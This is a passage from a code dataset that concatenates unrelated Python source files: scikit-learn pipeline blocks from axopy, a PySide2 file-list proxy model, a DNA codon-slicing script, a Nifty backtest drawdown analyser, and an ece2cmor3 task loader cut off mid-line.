scikit-learn's idea of an estimator.\n\n An estimator is an object that can be trained with some data (``fit``) and,\n once trained, can output predictions from novel inputs. A common use-case\n for this block is to utilize a scikit-learn pipeline in the context of a\n axopy pipeline.\n\n Parameters\n ----------\n estimator : object\n An object implementing the scikit-learn Estimator interface (i.e.\n implementing ``fit`` and ``predict`` methods).\n return_proba : boolean, optional (default: False)\n If True, use the estimator's ``predict_proba`` method instead of\n ``predict`` to return probability estimates.\n return_log_proba : boolean, optional (default: False)\n If True, use the estimator's ``predict_log_proba`` method instead of\n ``predict`` to return probability estimates.\n \"\"\"\n\n def __init__(self, estimator, return_proba=False, return_log_proba=False):\n super(Estimator, self).__init__()\n self.estimator = estimator\n self.return_proba = return_proba\n self.return_log_proba = return_log_proba\n self._check_estimator()\n\n def process(self, data):\n \"\"\"Calls the estimator's ``predict`` or ``predict_proba`` method and\n returns the result.\"\"\"\n if self.return_proba:\n return self.estimator.predict_proba(data)\n elif self.return_log_proba:\n return self.estimator.predict_log_proba(data)\n else:\n return self.estimator.predict(data)\n\n def _check_estimator(self):\n \"\"\"Check estimator attributes when either ``return_proba`` or\n ``return_log_proba`` are set to ``True``.\n\n If both arguments are True use ``predict_proba`` and issue a warning.\n \"\"\"\n if not hasattr(self.estimator, 'predict_proba') and self.return_proba:\n raise ValueError(\"Estimator {} does not implement a \"\n \"predict_proba method\".format(self.estimator))\n if not hasattr(self.estimator, 'predict_log_proba') and \\\n self.return_log_proba:\n raise ValueError(\"Estimator {} does not implement a \"\n \"predict_log_proba method\".format(self.estimator))\n\n if self.return_proba and self.return_log_proba:\n warnings.warn(\"Both predict_proba and predict_log_proba were set \"\n \"to True for estimator {}. The process method will \"\n \"default to predict_proba.\".format(self.estimator))\n self.return_log_proba = False\n\n\nclass Transformer(Block):\n \"\"\"A pipeline block wrapper around scikit-learn's idea of a transformer.\n\n A transformer is trained with some data (``fit``) and, once trained, can\n output projections of the input data to some other space. A common example\n is projecting data in high-dimensional space to a lower-dimensional space\n using principal components analysis.\n\n Parameters\n ----------\n transformer : object\n An object implementing the scikit-learn Transformer interface (i.e.\n implementing ``fit``, ``transform`` and ``inverse_transform`` methods).\n inverse : boolean, optional (default: False)\n If True, call ``inverse_transform`` instead of ``transform``.\n \"\"\"\n\n def __init__(self, transformer, inverse=False, hooks=None):\n super(Transformer, self).__init__(hooks=None)\n self.transformer = transformer\n self.inverse = inverse\n\n def process(self, data):\n \"\"\"Calls the transformer's ``transform`` or ``inverse_transform``\n method and returns the result.\n \"\"\"\n if self.inverse:\n return self.transformer.inverse_transform(data)\n else:\n return self.transformer.transform(data)\n\n\nclass Ensure2D(Block):\n \"\"\"Transforms an array to ensure it has 2 dimensions.\n\n Input with shape ``(n,)`` can be made to have shape ``(n, 1)`` or\n ``(1, n)``.\n\n Parameters\n ----------\n orientation : {'row', 'col'}, optional\n Orientation of the output. If 'row', the output will have shape\n ``(1, n)``, meaning the output is a row vector. This is the default\n behavior, useful when the data is something like samples of a 1-channel\n signal. If 'col', the output will have shape ``(n, 1)``, meaning the\n output is a column vector.\n\n Examples\n --------\n Output row data:\n\n >>> import numpy as np\n >>> import axopy.pipeline as pipeline\n >>> block = pipeline.Ensure2D()\n >>> block.process(np.array([1, 2, 3]))\n array([[1, 2, 3]])\n\n Output column data:\n\n >>> block = pipeline.Ensure2D(orientation='col')\n >>> block.process(np.array([1, 2, 3]))\n array([[1],\n [2],\n [3]])\n \"\"\"\n\n def __init__(self, orientation='row'):\n super(Ensure2D, self).__init__()\n self.orientation = orientation\n\n if orientation not in ['row', 'col']:\n raise ValueError(\"orientation must be either 'row' or 'col'\")\n\n def process(self, data):\n \"\"\"Make sure data is 2-dimensional.\n\n If the input already has two dimensions, it is unaffected.\n\n Parameters\n ----------\n data : array, shape (n,)\n Input data.\n\n Returns\n -------\n out : array, shape (1, n) or (n, 1)\n Output data, with shape specified by ``orientation``.\n \"\"\"\n data = np.atleast_2d(data)\n\n if self.orientation == 'row':\n return data\n else:\n return data.T\n","repo_name":"axopy/axopy","sub_path":"axopy/pipeline/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":18299,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"48"} +{"seq_id":"31750474667","text":"import PySide2.QtCore as QtCore\nfrom enums import FileType, ItemFlags\nfrom model.listModelItem import MaskFolderItem\n\n\nclass FileListModelProxy(QtCore.QAbstractProxyModel):\n\tdef __init__(self, parent = None):\n\t\tsuper(FileListModelProxy, self).__init__(parent)\n\t\tself.__currentFolder = None\n\t\tself.__maskFolder = None\n\t\tself.__searchText = ''\n\t\tself.__recursiveSearch = False\n\t\t# mapping list\n\t\tself.__disableUpdate = False\n\t\tself.sourceToProxy = {}\n\t\tself.proxyToSource = {}\n\n\n\tdef flags(self, index):\n\t\thoverIndex = index\n\t\tsourceIndex = self.mapToSource(hoverIndex)\n\t\tfileItemList = self.sourceModel().getFileItem(sourceIndex)\n\t\t# if fileItemList item is equal to source folder or in its child, drop is not enabled\n\t\tif index.isValid() is True and fileItemList.type == FileType.FOLDER and (\n\t\t\t\tself.sourceFolder() == fileItemList or fileItemList.contains(lambda item: item == self.sourceFolder(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t recursive = True)):\n\t\t\treturn (\n\t\t\t\t\tQtCore.Qt.ItemIsSelectable |\n\t\t\t\t\tQtCore.Qt.ItemIsEnabled |\n\t\t\t\t\tItemFlags.ItemIsEditable |\n\t\t\t\t\tQtCore.Qt.ItemIsDragEnabled |\n\t\t\t\t\tItemFlags.ItemIsDeletable\n\t\t\t)\n\t\telse:\n\t\t\treturn super(FileListModelProxy, self).flags(index)\n\n\n\tdef searchText(self):\n\t\treturn self.__searchText\n\n\n\tdef moveRow(self, sourceProxyParent, sourceRow, destinationProxyParent, destinationChild):\n\t\tsourceParent = self.mapToSource(sourceProxyParent)\n\t\tdestinationParent = self.mapToSource(destinationProxyParent)\n\t\treturn self.sourceModel().moveRow(sourceParent, sourceRow, destinationParent, destinationChild)\n\n\n\tdef hasRecursiveSearch(self):\n\t\t# check that has recursive search or not\n\t\treturn self.__recursiveSearch\n\n\n\tdef setRecursiveSearch(self, res):\n\t\t# update recursive search flag and update search\n\t\tif self.hasRecursiveSearch() != res:\n\t\t\tself.__recursiveSearch = res\n\t\t\tif self.searchText():\n\t\t\t\tself.setSearchText(self.searchText())\n\n\n\tdef isEmpty(self):\n\t\t# check that current folder is empty or not\n\t\tif self.currentFolder() is not None:\n\t\t\treturn self.currentFolder().isEmpty()\n\t\telse:\n\t\t\treturn True\n\n\n\tdef beginEditData(self, index):\n\t\tsourceIndex = self.mapToSource(index)\n\t\treturn self.sourceModel().beginEditData(sourceIndex)\n\n\n\tdef endEditData(self, index):\n\t\tsourceIndex = self.mapToSource(index)\n\t\tself.sourceModel().endEditData(sourceIndex)\n\n\n\tdef setCurrentFolder(self, folder):\n\t\t# update current folder and update layout\n\t\t# all folder is wrapped in nask folder\n\t\tif folder is not None and folder.type == FileType.FOLDER:\n\t\t\tmaskFolder = MaskFolderItem(folder, folder.name(), None, folder.displayName, folder.isFixed)\n\t\t\tfor child in folder.childItems:\n\t\t\t\tmaskFolder.append(child)\n\t\t\tself.__currentFolder = maskFolder\n\t\t\tif self.searchText():\n\t\t\t\tself.setSearchText(self.searchText())\n\t\t\telse:\n\t\t\t\tself.__updateIndices()\n\t\t\tself.layoutChanged.emit()\n\n\n\tdef mimeData(self, indices):\n\t\tmimeDat = super(FileListModelProxy, self).mimeData(indices)\n\t\tif indices:\n\t\t\tindex = indices[0]\n\t\t\tperminentIndex = QtCore.QPersistentModelIndex(self.mapToSource(index))\n\t\t\tmimeDat.setColorData(perminentIndex)\n\t\treturn mimeDat\n\n\n\tdef dropMimeData(self, mimeData, action, row, column, parent):\n\t\t# if parent is not valid set parentIndex as index of sourceFolder\n\t\tif parent.isValid() is False:\n\t\t\tsourceParent = self.sourceModel().getItemIndex(self.sourceFolder())\n\t\telse:\n\t\t\tsourceParent = self.mapToSource(parent)\n\t\treturn self.sourceModel().dropMimeData(mimeData, action, row, column, sourceParent)\n\n\n\tdef sourceFolder(self):\n\t\treturn self.currentFolder().sourceFolder()\n\n\n\tdef rowCount(self, parent = QtCore.QModelIndex()):\n\t\tif self.currentFolder() is not None:\n\t\t\treturn self.currentFolder().childCount()\n\t\telse:\n\t\t\treturn 0\n\n\n\tdef columnCount(self, parent = QtCore.QModelIndex()):\n\t\treturn self.sourceModel().columnCount(parent)\n\n\n\tdef mapToSource(self, proxyIndex):\n\t\tif proxyIndex.isValid() is False:\n\t\t\treturn self.sourceModel().getItemIndex(self.sourceFolder())\n\t\telse:\n\t\t\treturn self.proxyToSource.get(proxyIndex, QtCore.QModelIndex())\n\n\n\tdef mapFromSource(self, sourceIndex):\n\t\titem = sourceIndex.data(QtCore.Qt.UserRole)\n\t\tif self.sourceFolder() == item:\n\t\t\treturn QtCore.QModelIndex()\n\t\telse:\n\t\t\treturn self.sourceToProxy.get(sourceIndex, QtCore.QModelIndex())\n\n\n\tdef parent(self, index = QtCore.QModelIndex()):\n\t\treturn QtCore.QModelIndex()\n\n\n\tdef setSourceModel(self, model):\n\t\tmodel.modelReset.connect(self.__modelReset)\n\t\tmodel.rowsInserted.connect(self.__modelInserted)\n\t\tmodel.rowsRemoved.connect(self.__modelRemoved)\n\t\tmodel.dataChanged.connect(self.__dataChanged)\n\t\tmodel.rowsMoved.connect(self.__modelMoved)\n\t\tsuper(FileListModelProxy, self).setSourceModel(model)\n\t\tself.setCurrentFolder(self.sourceModel().rootFolder())\n\n\n\tdef __modelReset(self):\n\t\tself.beginResetModel()\n\t\tself.__updateIndices()\n\t\tself.endResetModel()\n\n\n\tdef __modelInserted(self, parent, first, last):\n\t\tself.setCurrentFolder(self.sourceFolder())\n\n\n\tdef __modelRemoved(self, parent, first, last):\n\t\tself.setCurrentFolder(self.sourceFolder())\n\n\n\tdef __modelMoved(self, parent, start, end, destination, index):\n\t\t# if self.sourceModel().getFileItem(destination) != self.sourceFolder():\n\t\t# \treturn\n\n\t\tself.setCurrentFolder(self.sourceFolder())\n\n\n\tdef __dataChanged(self, topLeft, bottomRight, role):\n\t\tself.__updateIndices()\n\t\tself.dataChanged.emit(topLeft, bottomRight, role)\n\n\n\tdef index(self, row, column = 0, parent = QtCore.QModelIndex()):\n\t\tif parent.isValid() is False:\n\t\t\treturn self.createIndex(row, column, None)\n\t\telse:\n\t\t\tchildItem = self.currentFolder().child(row)\n\t\t\treturn self.createIndex(row, column, childItem)\n\n\n\tdef setSearchText(self, searchText):\n\t\t# update search text\n\t\tself.beginResetModel()\n\t\tself.__searchText = searchText\n\t\tif searchText:\n\t\t\t# create mask folder, file contains searchText\n\t\t\tmaskFolder = MaskFolderItem(self.sourceFolder(), self.sourceFolder().name(), None)\n\t\t\tchildItems = self.sourceFolder().find(lambda item: self.__searchItem(searchText, item),\n\t\t\t\t\t\t\t\t\t\t\t\t recursive = self.hasRecursiveSearch())\n\t\t\tfor child in childItems:\n\t\t\t\tmaskFolder.append(child)\n\t\t\t# update indices\n\t\t\tself.__currentFolder = maskFolder\n\t\t\tself.__updateIndices()\n\t\telse:\n\t\t\tself.setCurrentFolder(self.sourceFolder())\n\t\tself.endResetModel()\n\n\n\tdef data(self, index, role = QtCore.Qt.UserRole):\n\t\tif self.searchText() and self.hasRecursiveSearch() is True and (\n\t\t\t\trole == QtCore.Qt.WhatsThisRole or role == QtCore.Qt.ToolTipRole):\n\t\t\titem = index.data(QtCore.Qt.UserRole)\n\t\t\treturn item.path()\n\t\telse:\n\t\t\treturn super(FileListModelProxy, self).data(index, role)\n\n\n\tdef __searchItem(self, searchText, item):\n\t\treturn item.type == FileType.FILE and (\n\t\t\t\tsearchText.lower() in item.name().lower() or self.__searchTag(searchText, item.tags))\n\n\n\tdef __searchTag(self, searchText, tags):\n\t\tsearchedTags = searchText.split(';')\n\t\tfor tag in searchedTags:\n\t\t\treturn tag in tags\n\n\n\tdef currentFolder(self):\n\t\treturn self.__currentFolder\n\n\n\tdef deleteRow(self, index):\n\t\tsourceIndex = self.mapToSource(index)\n\t\treturn self.sourceModel().deleteRow(sourceIndex)\n\n\n\tdef insertData(self, newFile, index = None):\n\t\tparentSourceIndex = self.sourceModel().getItemIndex(self.sourceFolder())\n\t\treturn self.sourceModel().insertData(newFile, index, parentSourceIndex)\n\n\n\tdef moveItem(self, from_, to):\n\t\tpass\n\n\n\tdef __updateIndices(self):\n\t\tself.proxyToSource.clear()\n\t\tself.sourceToProxy.clear()\n\t\tself.__fillTheIndices()\n\n\n\tdef __fillTheIndices(self):\n\t\tfor proxyRow in range(self.currentFolder().childCount()):\n\t\t\t# get child item in current folder\n\t\t\tchildItem = self.currentFolder().child(proxyRow)\n\t\t\t# get source index of child item\n\t\t\tsourceIndex = self.sourceModel().getItemIndex(childItem)\n\t\t\tif sourceIndex.isValid() is True:\n\t\t\t\tsourceParentIndex = self.sourceModel().parent(sourceIndex)\n\t\t\t\tsourceChildNumber = childItem.childNumber()\n\t\t\t\tself.__fillColumn(sourceChildNumber, proxyRow, sourceParentIndex)\n\n\n\tdef __fillColumn(self, sourceRow, proxyRow, sourceParentIndex):\n\t\tfor column in range(self.columnCount()):\n\t\t\tsourceIndex = self.sourceModel().index(sourceRow, column, sourceParentIndex)\n\n\t\t\tproxyIndex = self.createIndex(proxyRow, column, None)\n\t\t\t# every source index has to have a proxy index\n\n\t\t\tself.sourceToProxy[sourceIndex] = proxyIndex\n\t\t\t# every proxy index has source index except for has same text sequence block media. just top sequence block media\n\t\t\tself.proxyToSource[proxyIndex] = sourceIndex\n","repo_name":"coskunyerli/Kiwi","sub_path":"src/main/python/proxy/fileListModelProxy.py","file_name":"fileListModelProxy.py","file_ext":"py","file_size_in_byte":8370,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"39994200320","text":"#!/usr/bin/python3\n\nimport sys, getopt, os\n\ndef main(argv): \n def slice_str(text, step):\n return [text[i:i+step] for i in range(0, len(text), step)]\n \n inputfile = ''\n outputfile = ''\n try:\n opts, args = getopt.getopt(argv,\"hi:\",[\"ifile=\"])\n except getopt.GetoptError:\n print('unknown, use instead:')\n print('test.py -i ')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print('test.py -i ')\n sys.exit()\n elif opt in (\"-i\", \"--ifile\"):\n inputfile = arg\n print('Input file is \"', inputfile)\n \n __location__ = os.path.realpath(\n os.path.join(os.getcwd(), os.path.dirname(__file__)))\n \n p = os.path.join(__location__, inputfile)\n \n original_code = ''\n with open(p,mode='r') as f:\n original_code = f.read()\n \n coddons = slice_str(original_code, 3)\n print(coddons)\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"Ghurir/DNA","sub_path":"lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8658772160","text":"#import libraries\n\nimport sys\nimport csv\nimport statistics\n\ndef returnavgofcol(column, list_of_list):\n new_list = []\n for i in list_of_list:\n new_list.append(i[column])\n return statistics.mean(new_list)\n\ndef returnmedianofcol(column, list_of_list):\n new_list = []\n for i in list_of_list:\n new_list.append(i[column])\n return statistics.median(new_list)\n\nstarting_capital = 1000000\ncapital = starting_capital\nrisk_percent = 0.01\n\n#Variable for streaks\nwin_streak_trade_no = 0\nlose_streak_trade_no = 0\nwin_streak_per = 0\nlose_streak_per = 0\nwin_streak_begin = 0\nwin_streak_end = 0\nlose_streak_begin = 0\nlose_streak_end = 0\nwin_streaks = []\nlose_streaks = []\n\n#Variable for equity high & low\nequity_high = capital\nequity_high_trade_open = 0\nequity_low = 0\nequity_low_trade_open = 0\n\n#Variablesfordrawdowns\ncurrent_drdwn_begin = 0\ncurrent_drdwn_close = 0\ncurrent_drdwn_no_trades = 0\ncurrent_drdwn_no_of_days = 0\ncurrent_drdwn_per = 0\ndrdwn = []\n\n#Win/LossRates\nwin_R2R = []\nloss_R2R = []\n\n#Variablesformax\nmax_equity_low = capital\n\ncharges_slippage = 0\ntrades_not_taken = 0\n\n#Import Results\nwith open('Nifty_Pranay_1.csv') as csv_file, open('Nifty_Pranay_1_Analysis.csv','w', newline='') as output_file:\n writer = csv.writer(output_file)\n writer.writerow([\"Year\", \"Month\", \"Day\", \"Capital\", \"Max Risk\", \"No of lots\", \"Trade Risk\", \"Entry\", \"Entry Time\", \"Point Risk\", \"Exit\", \"Exit Time\", \"PnL\" ,\"New Capital\"])\n nifty_5min_csv = csv.reader(csv_file, delimiter=',')\n rows = list(nifty_5min_csv)\n total_dataset = len(rows)\n \n #Initilize variables to calculate day's high and time\n new_capital = 0\n max_risk = 0\n \n point_risk = 0\n trade_risk_perlot = 0\n no_of_lots = 0\n trade_risk = 0\n trade_return = 0\n \n line_count = 1\n \n #Process data. Default rows to check entered in while\n while line_count < total_dataset:\n point_risk = float(rows[line_count][5])\n trade_risk_perlot = (point_risk * 75) / 2\n max_risk = risk_percent * capital\n if trade_risk_perlot <= max_risk:\n no_of_lots = max_risk // trade_risk_perlot\n trade_risk = no_of_lots * trade_risk_perlot\n trade_return = float(rows[line_count][9]) * trade_risk\n charges_slippage = 0.015 * no_of_lots * float (rows[line_count][3])\n new_capital = capital + trade_return #- charges_slippage \n writer.writerow([rows[line_count][0], rows[line_count][1], rows[line_count][2], capital, max_risk, no_of_lots, trade_risk, rows[line_count][3], rows[line_count][4], rows[line_count][5], rows[line_count][6], rows[line_count][7], trade_return, new_capital])\n \n \n #Code for calculating drawdowns\n if new_capital < equity_high:\n if equity_low == 0:\n current_drdwn_begin = rows[line_count][0] + '-' + rows[line_count][1] + '-' + rows[line_count][2] + \" \" + rows[line_count][4]\n current_drdwn_no_trades = 1\n equity_low = new_capital\n equity_low_trade_open = rows[line_count][0] + '-' + rows[line_count][1] + '-' + rows[line_count][2] + \" \" + rows[line_count][4]\n\n\n if new_capital < equity_low:\n equity_low = new_capital\n equity_low_trade_open = rows[line_count][0] + '-' + rows[line_count][1] + '-' + rows[line_count][2] + \" \" + rows[line_count][4]\n \n if new_capital > equity_high:\n if current_drdwn_no_trades != 0:\n current_drdwn_per = ((equity_high - equity_low)/equity_high)*100\n current_drdwn_close = rows[line_count][0] + '-' + rows[line_count][1] + '-' + rows[line_count][2] + \" \" + rows[line_count][4]\n drdwn.append([current_drdwn_no_trades-1, current_drdwn_no_of_days, current_drdwn_per, current_drdwn_begin, equity_low_trade_open, current_drdwn_close])\n current_drdwn_no_trades = 0\n current_drdwn_no_of_days = 0\n \n if equity_low < max_equity_low:\n max_equity_low = equity_low\n equity_low = 0\n equity_low_trade_open = 0\n equity_high = new_capital\n equity_high_trade_open = rows[line_count][0] + '-' + rows[line_count][1] + '-' + rows[line_count][2] + \" \" + rows[line_count][4]\n\n if current_drdwn_no_trades != 0:\n current_drdwn_no_trades += 1\n current_drdwn_close = rows[line_count][0] + '-' + rows[line_count][1] + '-' + rows[line_count][2] + \" \" + rows[line_count][4]\n if rows[line_count][2] != rows[line_count-1][2]:\n current_drdwn_no_of_days += 1\n \n #Code for calculating streaks\n if float(rows[line_count][9]) <= 0:\n loss_R2R.append(float(rows[line_count][9]))\n if lose_streak_trade_no == 0:\n lose_streak_per = capital\n lose_streak_begin = rows[line_count][0] + '-' + rows[line_count][1] + '-' + rows[line_count][2] + \" \" + rows[line_count][4]\n if win_streak_trade_no > 1:\n win_streak_end = rows[line_count-1][0] + '-' + rows[line_count-1][1] + '-' + rows[line_count-1][2] + \" \" + rows[line_count-1][4]\n win_streak_per = (lose_streak_per - win_streak_per)/win_streak_per * 100\n win_streaks.append([win_streak_trade_no, win_streak_per, win_streak_begin, win_streak_end])\n\n win_streak_trade_no = 0\n win_streak_per = 0\n lose_streak_trade_no += 1\n \n elif float(rows[line_count][9]) > 0:\n win_R2R.append(float(rows[line_count][9]))\n if win_streak_trade_no == 0:\n win_streak_per = capital\n win_streak_begin = rows[line_count][0] + '-' + rows[line_count][1] + '-' + rows[line_count][2] + \" \" + rows[line_count][4]\n if lose_streak_trade_no > 1:\n lose_streak_end = rows[line_count-1][0] + '-' + rows[line_count-1][1] + '-' + rows[line_count-1][2] + \" \" + rows[line_count-1][4]\n lose_streak_per = (lose_streak_per - win_streak_per)/lose_streak_per * 100\n lose_streaks.append([lose_streak_trade_no, lose_streak_per, lose_streak_begin, lose_streak_end])\n lose_streak_trade_no = 0\n lose_streak_per = 0\n win_streak_trade_no += 1\n else:\n new_capital = capital\n trades_not_taken += 1\n trade_risk = 0\n trade_return = 0\n point_risk = 0\n trade_risk_perlot = 0\n max_risk = 0\n no_of_lots = 0\n capital = new_capital\n new_capital = 0\n line_count += 1\n \n\n if current_drdwn_no_trades != 0:\n current_drdwn_per = ((equity_high - equity_low)/equity_high)*100\n drdwn.append([current_drdwn_no_trades-1, current_drdwn_no_of_days, current_drdwn_per, current_drdwn_begin, equity_low_trade_open, current_drdwn_close])\n #Similar bit to be done for drawdowns at end of file\n\nprint('Analysis done. Check output file')\n\nwinrate_per = len(win_R2R) / (len(win_R2R) + len(loss_R2R)) * 100\nlossrate_per = len(loss_R2R) / (len(win_R2R) + len(loss_R2R)) * 100\n\ndrdwn_maxduration = max(drdwn, key=lambda x: x[0])\ndrdwn_maxper = max(drdwn, key=lambda x: x[2])\nmax_win = max(win_streaks , key=lambda x: x[0])\nmax_loss = max(lose_streaks, key=lambda x: x[0])\n\navg_drdwn_per = returnavgofcol(2, drdwn)\navg_drdwn_duration_trades = returnavgofcol(0, drdwn)\navg_drdwn_duration_days = returnavgofcol(1, drdwn)\navg_win_streak = returnavgofcol(0, win_streaks)\navg_lose_streak = returnavgofcol(0, lose_streaks)\nmedian_drdwn_per = returnmedianofcol(2, drdwn)\nmedian_drdwn_duration_trades = returnmedianofcol(0, drdwn)\nmedian_drdwn_duration_days = returnmedianofcol(1, drdwn)\nmedian_win_streak = returnmedianofcol(0, win_streaks)\nmedian_lose_streak = returnmedianofcol(0, lose_streaks)\n\n\noutput = open('output.txt', 'w') \n\nprint('\\n\\n-----------------------------', file = output)\nprint(f'Starting Capital was {starting_capital}.\\nMax equity high was at {equity_high} & max equity low was at {max_equity_low}\\nFinal capital was {capital}', file = output)\nprint(f'Total return at end of backtest = {(capital - starting_capital)/starting_capital * 100}%', file = output)\nprint('-----------------------------', file = output)\nprint(f'No of drawdowns is {len(drdwn)}', file = output)\nprint(f'Average drawdowns was at {avg_drdwn_per}. Median was at {median_drdwn_per}', file = output)\nprint(f'Drawdowns lasted for an average of {avg_drdwn_duration_trades} trades. Median was at {median_drdwn_duration_trades} trades', file = output)\nprint(f'Drawdowns lasted for an average of {avg_drdwn_duration_days} days. Median was at {median_drdwn_duration_days} days', file = output)\nprint('-----------------------------', file = output)\nprint(f'Max drawdown was at {drdwn_maxper[2]}%.\\nStarted from {drdwn_maxper[3]}. Low at {drdwn_maxper[4]}', file = output)\nprint('-----------------------------', file = output)\nprint(f'Maximum drawdown duration consisted of {drdwn_maxduration[0]} trades over {drdwn_maxduration[1]} days.\\nStarted from {drdwn_maxduration[3]}. Ended at {drdwn_maxduration[5]}', file = output)\nprint('-----------------------------', file = output)\nprint(f'Longest winning streak was at {max_win[0]} from {max_win[2]} to {max_win[3]}. Return of {max_win[1]}%', file = output)\nprint(f'Longest losing streak was at {max_loss[0]} from {max_loss[2]} to {max_loss[3]}. Return of -{max_loss[1]}%', file = output)\nprint('-----------------------------', file = output)\nprint(f'The average winstreak was at {avg_win_streak} trades. Median was at {median_win_streak} trades', file = output)\nprint(f'The average losestreak was at {avg_lose_streak} trades. Median was at {median_lose_streak} trades', file = output)\nprint('-----------------------------', file = output)\nprint(f'Win Rate is {winrate_per}% with an average reward of {statistics.mean(win_R2R)}R. Median reward is {statistics.median(win_R2R)}', file = output)\nprint(f'Loss Rate is {lossrate_per}% with an average loss of {statistics.mean(loss_R2R)}R. Median loss is {statistics.median(loss_R2R)}', file = output)\nprint('-----------------------------', file = output)\nprint(f'No of trades not taken is {trades_not_taken}', file = output)\nprint('-----------------------------\\n\\n', file = output)\n\noutput.close()\n","repo_name":"crackedminds333/4H1FL_Systems","sub_path":"P_1/ResultAnalysis.py","file_name":"ResultAnalysis.py","file_ext":"py","file_size_in_byte":10671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41764620992","text":"\nimport json\nimport logging\nimport os\n\nfrom ece2cmor3 import components\nfrom ece2cmor3 import ece2cmorlib, cmor_source, cmor_target, cmor_task\nfrom ece2cmor3.cmor_source import create_cmor_source\nfrom ece2cmor3.resources import prefs\n\nlog = logging.getLogger(__name__)\n\njson_source_key = \"source\"\njson_target_key = \"target\"\njson_table_key = \"table\"\njson_tables_key = \"tables\"\njson_mask_key = \"mask\"\njson_masked_key = \"masked\"\njson_filepath_key = \"filepath\"\njson_script_key = \"script\"\njson_src_key = \"src\"\n\nvariable_prefs_file = os.path.join(os.path.dirname(__file__), \"resources\", \"varprefs.csv\")\n\nomit_vars_file_01 = os.path.join(os.path.dirname(__file__), \"resources\", \"lists-of-omitted-variables\", \"list-of-omitted-variables-01.xlsx\")\nomit_vars_file_02 = os.path.join(os.path.dirname(__file__), \"resources\", \"lists-of-omitted-variables\", \"list-of-omitted-variables-02.xlsx\")\nomit_vars_file_03 = os.path.join(os.path.dirname(__file__), \"resources\", \"lists-of-omitted-variables\", \"list-of-omitted-variables-03.xlsx\")\nomit_vars_file_04 = os.path.join(os.path.dirname(__file__), \"resources\", \"lists-of-omitted-variables\", \"list-of-omitted-variables-04.xlsx\")\nomit_vars_file_05 = os.path.join(os.path.dirname(__file__), \"resources\", \"lists-of-omitted-variables\", \"list-of-omitted-variables-05.xlsx\")\nignored_vars_file = os.path.join(os.path.dirname(__file__), \"resources\", \"list-of-ignored-cmip6-requested-variables.xlsx\")\nidentified_missing_vars_file = os.path.join(os.path.dirname(__file__), \"resources\", \"list-of-identified-missing-cmip6-requested-variables.xlsx\")\n\nmask_predicates = {\"=\": lambda x, a: x == a,\n \"==\": lambda x, a: x == a,\n \"!=\": lambda x, a: x != a,\n \"<\": lambda x, a: x < a,\n \"<=\": lambda x, a: x <= a,\n \">\": lambda x, a: x > a,\n \">=\": lambda x, a: x >= a}\n\nskip_tables = False\nwith_pingfile = False\n\n\nclass SwapDrqAndVarListException(Exception):\n def __init__(self, reverse=False):\n self.reverse = reverse\n if reverse:\n self.message = \"Expected a component-specific variable list, got a data request as input\"\n else:\n self.message = \"Expected a data request, got a component-specific variable list as input\"\n\n\n# API function: loads the argument list of targets\ndef load_tasks_from_drq(varlist, active_components=None, target_filters=None, config=None, check_prefs=True):\n matches, omitted_vars = load_drq(varlist, config, check_prefs)\n return load_tasks(matches, active_components, target_filters, check_duplicates=check_prefs)\n\n\n# Basic task loader: first argument has already partitioned variables into component groups\ndef load_tasks(variables, active_components=None, target_filters=None, check_duplicates=False):\n matches = load_vars(variables, asfile=(isinstance(variables, str) and os.path.isfile(variables)))\n filtered_matches = apply_filters(matches, target_filters)\n if check_duplicates:\n if not search_duplicate_tasks(filtered_matches):\n log.fatal(\"Duplicate requested variables were found, dismissing all cmorization tasks\")\n return []\n model_vars = load_model_vars()\n load_scripts(model_vars)\n masks = load_masks(model_vars)\n return create_tasks(filtered_matches, get_models(active_components), masks=masks)\n\n\ndef get_models(active_components):\n all_models = list(components.models.keys())\n if isinstance(active_components, str):\n return [active_components] if active_components in all_models else []\n if isinstance(active_components, list):\n return [m for m in active_components if m in all_models]\n if isinstance(active_components, dict):\n return [m for m in all_models if active_components.get(m, False)]\n return all_models\n\n\n# Loads a json file or string or dictionary containing the cmor targets for multiple components\ndef load_vars(variables, asfile=True):\n modeldict = {}\n if isinstance(variables, str):\n vartext = open(variables, 'r').read() if asfile else variables\n modeldict = json.loads(vartext)\n elif isinstance(variables, dict):\n modeldict = variables\n else:\n log.error(\"Cannot create cmor target list from object %s\" % str(variables))\n targets = {}\n for model, varlist in modeldict.items():\n if model not in list(components.models.keys()):\n if model in set([t.table for t in ece2cmorlib.targets]):\n raise SwapDrqAndVarListException(reverse=True)\n log.error(\"Cannot interpret %s as an EC-Earth model component.\" % str(model))\n continue\n if isinstance(varlist, list):\n targets[model] = varlist\n elif isinstance(varlist, dict):\n targets[model] = load_targets_json(varlist)\n else:\n log.error(\n \"Expected a dictionary of CMOR tables and variables as value of %s, got %s\" % (model, type(varlist)))\n continue\n return targets\n\n\ndef load_drq(varlist, config=None, check_prefs=True):\n if varlist == \"allvars\":\n requested_targets = ece2cmorlib.targets\n else:\n requested_targets = read_drq(varlist)\n targets = omit_targets(requested_targets)\n # Load model component parameter tables\n model_vars = load_model_vars()\n # Match model component variables with requested targets\n matches = match_variables(targets, model_vars)\n matched_targets = [t for target_list in list(matches.values()) for t in target_list]\n for t in targets:\n if t not in matched_targets:\n setattr(t, \"load_status\", \"missing\")\n if check_prefs:\n if config is None:\n log.warning(\"Determining preferred model components for variables without target EC-Earth configuration: \"\n \"assuming all components should be considered may result in duplicate matches\")\n if config not in list(components.ece_configs.keys()):\n log.warning(\"Determining preferred model components for variables with unknown target EC-Earth \"\n \"configuration %s: assuming all components should be considered may result in duplicate matches\" % config)\n for model in matches:\n targetlist = matches[model]\n if len(targetlist) > 0:\n enabled_targets = []\n d = {}\n for t in targetlist:\n if prefs.keep_variable(t, model, config):\n key = '_'.join([getattr(t, \"out_name\", t.variable), t.table])\n if key in d:\n d[key].append(t)\n else:\n d[key] = [t]\n else:\n log.info('Dismissing {:7} target {:20} within {:17} configuration due to preference flagging'\n .format(model, str(t), \"any\" if config is None 